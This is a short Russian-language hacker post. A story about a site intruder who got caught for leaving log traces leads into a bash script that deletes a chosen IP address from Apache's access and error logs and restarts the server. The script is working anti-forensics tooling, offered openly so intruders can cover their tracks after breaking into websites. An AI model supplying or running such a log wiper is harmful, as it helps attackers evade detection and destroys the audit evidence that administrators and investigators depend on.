Сидел человек ... делать ему было совершенно нечего, занялся он нехорошими делами, он много занал и почему-то был уверен в том что его никто и никогда не поймает. Ему казалось что он может все, он ломал сайты на право и налево, громил все что попадалось ему под руку, но в один день сильно наследив попался. Сказка? Конечно сказка, ведь он юзал прокси. А вот сглупил он лишь в том, что не подчистил за собой логи. Админы увидев, что кто - то по вечерам копашится у них на серваке через бажный скрипт прикрыли сие нахальство. Так вот, ниже приведен пример простенького лог вайпера для апача, который умеет удалять заданный IP из логов Apache.
#!/bin/bash
if [ -z "$1" ]; then
echo "Usage: $0 <IP_addr>"
exit
else
addr=$1
fi
sed "/$addr/d" "access.log">.temp
rm -f access.log
mv .temp access.log
echo "[+]access.log done"
sed "/$addr/d" "error.log">.temp
rm -f error.log
mv .temp error.log
echo "[+]error.log done"
CTL=`locate apachectl | grep bin`
echo "$CTL"
$CTL restart
#
#writed & tested under Debian linux
#apache 1.3.31-4.1
#